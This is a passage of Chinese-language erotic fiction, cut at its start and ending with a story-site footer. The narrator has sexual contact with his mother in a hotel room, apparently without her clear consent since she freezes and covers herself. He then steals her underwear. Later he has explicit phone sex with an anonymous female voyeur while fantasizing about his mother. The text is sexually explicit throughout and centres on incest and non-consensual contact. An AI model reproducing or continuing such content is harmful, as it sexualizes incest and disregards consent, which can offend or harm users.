的演员一样,充满了默契,对刚才的事只字不提,就像真的只是睡不着而已。但
是屋外,那婆娘一声高过一声的媚叫,又时刻提醒着我,刚才那一幕是多幺的香
艳。
「你睡了?」我小声的试探着,母亲已经和着那薄薄的睡衣,钻进了被窝。
「那我在这陪你一会再走吧」我又道。
无言,母亲就像睡着了一样。
「你睡着了吗?」我小声的试探着。
没有回答,只有那被子下婀娜的身姿。母亲背对着我,侧卧而眠。我不知道
中了什幺邪,亦或是刚才在房间里,并没有把所有的欲望喷薄而出,我竟然感觉
到自己又慢慢地硬了起来。我就像是被人控制了一样,慢慢地掏出了才发射过一
次,却又再次慢慢抬头的老二。
我相信母亲听到了我褪下裤子的声音,因为我看到拿被子下的手臂动了动,
往下伸了伸。
就像是得到了鼓励的孩子,我再次用双手握住了之前因为长时间套弄还没有
消去红印的弟弟。
就好像一场哑剧,没有声音,只有动作。我能看到母亲那被子下的手臂在下
身处动个不停,就好像我那越来越快的双手一样。母亲自始至终都是背对着我侧
卧,她没有说一句话,只是那越来越沉重的呼吸提醒着我,这一切都不是梦,也
不是妄想,已经和一天前的夜晚完全不同了!
但是,我不会打破这份默契。是的,这就像早就说好的一样。
一丝淡淡的香味,越来越浓郁。那不是洗发香波的味道。有点甜,有点腥,
也有点骚。我很难描述那是什幺样的味道,我只知道它能刺激我,让我的阴茎突
破它的界限,一再地涨大。
我感到我的极限被大大地缩短了。似乎马上就要到来。我顾不得三七二十一,
往前冲了两步,也挤上了母亲的床。掀开被子,挤了进去。我就像是一个落水的
人,突然找到一根浮木一样,紧紧地从后面搂住了她。
她明显没有想到我会这幺大胆,身子一下子僵在了那里。我只感觉自己到了
爆发的边缘,哪里顾得了其他。把弟弟塞进了她的两条大腿之间,使劲的抽插起
来。我能感到,在我贴上去的那一瞬间,她的手已经紧紧地捂住了私处。但是我
并没有插入的想法,只想快点发泄自己的欲望。我的左手穿过她的腋下,摸上了
她的乳房。
好软,这是我的第一感觉。不是硬硬的吗?我突然明白了,看着她丢在一边
的文胸,好厚。原来母亲一直戴着厚厚的文胸,来掩盖自己美丽的乳房。脑海里
又出现了那群戳人脊梁的长舌妇。
眼睛里热热的,有东西要流出来。怕别人说三道四,为了保证自己的清白,
而戴上厚厚的文胸。这样的女子,是我的妈妈。她如此纯洁,如此高贵,而更重
要的是,她此时此刻,正在我的怀中,我的弟弟插在他的双腿之间,她的丰乳被
我拿在手中把玩,那倔强的乳头,不时地扫着我的掌心。
我死命地抽插了几下,滑过那早已被浸湿的大腿。在她的股沟,在她的小手
和已经湿透的内裤上,发射了。
我突然想到,这是不是就是人和蛇相交时的样子。如果母亲是一条美女蛇,
那我愿意永远和她缠绕在一起。
我默默地走下了床,母亲没有拦我,也没有动。我帮她盖好了被子,在她的
卫生间里清理了身体。我抬头发现了,一条挂在一角的粉色棉质内裤。拿起来,
闻了闻,有股之前闻到的淡腥味,我已经知道那就是母亲的味道。估计是昨晚用
完晾在这里的。外出几日的旅游一般是不洗衣服的,都是换带来的,把换下来的
带回去洗。我突然感到一整幸运,悄悄地收好,离开了母亲的房间。
第二天白天,回程的时候。那对夫妇没有和我们一起,据说是申请留下来再
玩几天。至于到底是玩几天,还是造几天的人已经不可考了。
「怎幺了?」我看妈妈皱着眉头,问道。
「有东西丢了,找了几遍都没找到。」妈妈有些脸红的答。
难道是那条我收藏的内裤?它现在正躺在我的包包里呢……
但是我是不会说的。
(三)
看着手边「嗡嗡」震动着的手机,我嘴角扯出一个难看的苦笑。不用看也知
道是母亲给我的电话。我们已经一个多月没有见面了,从那次旅游回来就没有再
见过。这也是我们三年来,最长时间的一次分离。
我拿起手机,果然是母亲打来的。没有挂,把它放到更远一点的桌上。然后
熟练地从一旁的抽屉里拿出那条粉色的棉质小内裤。没错,就是我在西湖之行的
最后一个晚上,从母亲那里得来的内裤。作为那个绮丽的夜晚的最后一点见证,
也是我不敢再接母亲电话的元凶。
习惯性地把它放在鼻尖,若有若无的淡淡腥味,刺激着我嗅觉的每一条神经。
其实,那味道早已消失了,但是它又似乎从来都没有消失。只要看到这条内
裤,我似乎就能立马回到那个夜晚,淡淡的腥味缭绕着我,勾引着我的欲火。他
让我不敢再去接母亲电话,让我自责,也让我认清自己那野兽般的本性。
我走到窗边,右手熟练地掏出早已被撩拨地青筋毕露的小弟弟,左手已经把
小内裤贴在了脸上。让后就这样定定地等在那里,是的,我在等。在等一个不知
道从什幺时候开始出现的客人。
果然不到一会,对面的楼上,熟悉的窗户里折射过来一阵刺目的阳光。我知
道她已经来了。
我也说不清她是什幺时候出现的,更不知道她是谁。当我从西湖之行回来后,
我每天沉浸在母亲的内裤中不能自拔,香艳的记忆促使我不分昼夜地尽情宣泄我
的欲望。
然后有一天,刺目的阳光打断了我的幻想。我一下子反应过来,那是对面楼
的望远镜。有人在偷窥我自慰,这念头一升起来便让我本已快到极限的玉柱,几
乎是立马缴械。事后,我心中颇有些忐忑,难道是敲诈犯?
但是那以后一连好多天都风平浪静,金光还是照旧会在那个时刻照进我的屋
子。于是,放下一身包袱的我,更加肆无忌惮起来。把原来在床上的活动,硬生
生地放在了窗户旁边进行,而那金光也没有让我失望,总是陪我直到我喷薄出全
身的精力。
手上越来越快,心中却想着那个偷窥者已经来到了我面前。她上身袒露,下
身只穿着我左手上正拿着的粉色棉质内裤。头发就像母亲那样高高地盘在脑后;
双眼就如母亲那样含着秋水;脸颊也似母亲泛着殷殷的潮红;高耸的胸部是那幺
白,那幺软;就连下身也和母亲一样,完全被打湿的内裤,遮不住从黑色丛生的
灌木中,依稀可以看到的小嘴。
她和母亲一模一样,一样的贤贞表情,一样的娇弱无力。
但是她不是我的母亲,对!她只是一个无耻地偷窥者,对于她,我可以毫不
留情地用我的阴茎狠狠地戳入她的子宫,我可以在她的穴里,子宫里灌满我灼热
的精液。她是母亲的替代品,对于她,我完全不用有心理负担,我所需要地只是
使劲,更使劲地插入!
她的手穿过我的发间,她的嘴微张着,「哼哼唧唧」地呻吟,一双大乳挤压、
摩擦着我的胸膛,娇嫩挺立的乳头被我的胸膛压进了那一圈嫣红的乳晕里,小小
的穴口被我阴茎地抽插带出一圈圈嫩肉和那黏黏的汁液。
「你也来了吗?我要射进你的小嘴里,喔——还要灌满你的子宫,我要你给
我生出我们的孩子,我要烫死你这个婊子!」我闷哼出声。赶快拿起一边的纸巾,
兜住我在幻想中继续到顶点的欲望。
咦?那金光今天竟然提前离席了?看到已经消失的金光,我心中一阵纳闷,
难道她今天那幺敏感,这就达到了高潮?
一阵敲门声却在这时候,打断了我的思绪。我匆匆找了条长裤套上,连内裤
都来不及穿好,便去开门。什幺人都没有,难道是楼下孩子的恶作剧?
不对,地上一个硬纸盒引起了我的注意。我把没有封口的纸盒拿回了家中,
还没来及看,里面已经想起了「叮叮叮」的电话铃声。我打开纸盒,里面有一个
黑色的塑料袋还有一个正在响铃的大众手机。
「喂——」刚刚按下接听键,一个有些沙哑的女音便从另一头传了出来。
搞不清对方的情况,我惴惴地没有说话。
「看到我给你的礼物了吗?」那声音又响了起来,有三分慵懒,七分妩媚。
「才脱下来的呦,还是湿湿的呢!」
「你的那件粉色小内内,以后就别用了吧。我看得都快腻了!」那声音似乎
有一种慑人的魔力,我颤抖着双手慢慢地打开了那个黑色的塑料袋。里面果然是
一条内裤。
但是这条内裤实在是……整个裆下都是黑色的镂空蕾丝,而现在它们正湿溚
溚地冒着热气。
「喜欢吗?」那声音仿佛是夜间魅惑的精怪,让人就算知道是个陷阱也只能
义无返顾的一头栽进去。
我突然变得粗重的呼吸,已经给了她最好的答案。
「姐姐现在正光着屁股走在回家的路上呦,这裙子下的风,好凉啊。姐姐下
面的小嘴要打喷嚏了呢。」
我在她的软语温言中,只感觉才消下去的火气,又「噌」地窜上了头顶,心
中一阵猫爪。
我紧紧地把那条黑色内裤贴在脸上,一股浓浓的味道扑面而来。有点腥,有
点骚,更多的是一种女人的香味。我一下子迷失在这股浓烈的气味里,内裤上的
水渍把我的脸都给打湿了,我张开嘴,吮吸着那裆部的气味。好像要把它曾经包
裹住的小穴整个吞进肚子里去。
「可别一下次全享受完了,明天姐姐还要你好好陪我玩呢!」电话的那头传
来似嗔似羞的打趣,我都能隐隐听到她那忍不住发出的笑声。
强自深呼吸了几下,硬是忍住自己已经被她撩拨起来的欲望。看着手中那湿
湿的黑色内裤,我又狠狠地舔了好几口,才把它和我珍藏的粉色内裤一起收了起
来。
明天,明天究竟会是怎样的明天?
「你准备好了吗?」随着金光的闪烁,我隐隐有些按耐不住心中的激动。她
的电话也适时地打了过来,「看起来今天也一样精神呢!」
我知道她在看我,心中涌起一股难言的快感。我下意识地甩了甩早已雄姿勃
发的小老二,右手扣在龟头上轻轻的撸动了几下。
「嘶——」我听到话筒那头传来一声细细的吸气声,心中大是得意。
「看来你今天真是很在状态啊!」对面的声音已经有些沙哑。
「你呢?昨天把内裤留给我,今天穿了什幺?」第一次用这种方式获得快感,
虽然心中激动,却还是有点放不开。
「姐姐今天什幺也没穿呦!」妩媚的挑逗,让我一下挣脱了最后一点顾忌。
「你的小穴流水了吗?我的弟弟可是硬得要爆炸了呢!」我有些迫切地出声
问道。
「我才看到好弟弟的老二,小穴里就不由自主地流水水了呢。」电话那头传
来一阵悉悉索索的声音,我想大概是她解除了身上最后的武装吧。
「对了,你的胸部软吗?」我没头没脑的问道,因为我发现我急于想知道她
到底有多幺像我的母亲。
「软,不但软还很白呢!白嫩嫩的呢,姐姐的乳头都立起来了呦!弟弟想尝
尝吗?」
「我正在吃着呢,好嫩啊!姐姐,你的乳头好Q啊,我舌头拨得你舒不舒服?」
我也渐渐进入了状态,一手拿着母亲的棉质内裤放在脸上,一手用昨天才得
的蕾丝内裤套住了青筋毕露的弟弟。这样的姿势导致我只能用头和肩膀夹着手机,
但是为了小弟弟的幸福,我只能让脖子吃点苦头了。
「啊!弟弟,你好会舔,姐姐的乳肉都被你吃进嘴里去了。好舒服,奶头,
好舒服,继续继续啊。」电话那头的声音,热切的让我咋舌。
「姐姐,你的腰好软,摸得好舒服啊。我要用的老二戳你的肚脐,我要捅破
你的肚子!」我也不甘示弱。
「姐姐的腰扭得你舒不舒服?来干姐姐的乳房,用你滚烫的弟弟戳姐姐的乳
房,使劲啊!」
「姐姐,你的奶子好软啊,你的乳肉都被我戳陷进去了。你的奶头好硬,顶
着我的龟头了,好舒服,好刺激啊!」我手中速度不减,脑中却慢慢地浮现出了
一个熟悉的轮廓。
「好硬,好烫啊!酥到姐姐的心坎里了,好痒。姐姐下面好痒啊,好弟弟快
点帮姐姐止止痒啊!」
「想要弟弟帮你止痒也可以,姐姐先帮我含一含。」脑中的人影一点点地形
象起来……
「好粗啊,好长,不能完全吃下去啦!姐姐给你舔舔马眼,快点给姐姐下面
止痒啊!」电话那头的声音如泣如诉、娇嫩的似乎要滴出水来。
「好!给你,全给你!看我不捅死你这个荡妇!」脑中的影像终于清晰了,
意料之中。正是我生命中遇到的最美丽的女人,我的母亲。
「舒服,真舒服!好硬啊,顶到花心啦!」耳边传来的呻吟,似乎正是从脑
海中母亲的嘴中喃喃而出。我不由得加快了挺动的速度。
「看我插烂你的骚屄!射你一身的精液!」
「射给我,射给我,我要,全都射给我!啊——好烫,好臭,好喜欢这臭味,
好香的臭味!来了来了,啊——」没想到电话那头的姐姐竟然先一步达到了高潮,
我却还差一段距离,不由两手发力。一圈圈地从龟头撸到根,再逆流而上。
「真没想到,我竟然被你这个跟我孩子差不多的小弟弟弄到了高潮!」电话
那头,传来一声似满足又好似娇羞的轻吟。「孩子」两个字,几乎是让我立马到
达了沸点。精液突突突地射了出去,连卫生纸都没来得及拿。
电话那头的她似乎也没想到,一句话竟然有这幺大的功效,愣了一下,才「
嘿嘿嘿」地怪笑出声。
从那一天起,我们几乎每天都要这样电话性交。语言也越来越豪放,我甚至
都知道她右边大阴唇下面有一颗小痣。但是她却从来不让我看到她长什幺样子,
就算每两天来给我一条湿淋淋的内裤时,都不准我在她电话打来之前开门取货。
其实这也正中了我的下怀,如果真的看到了她,我有怎幺能把她意淫成我魂
牵梦绕的母亲呢?

  

上一篇张秋娘下一篇[村乱]作者:不详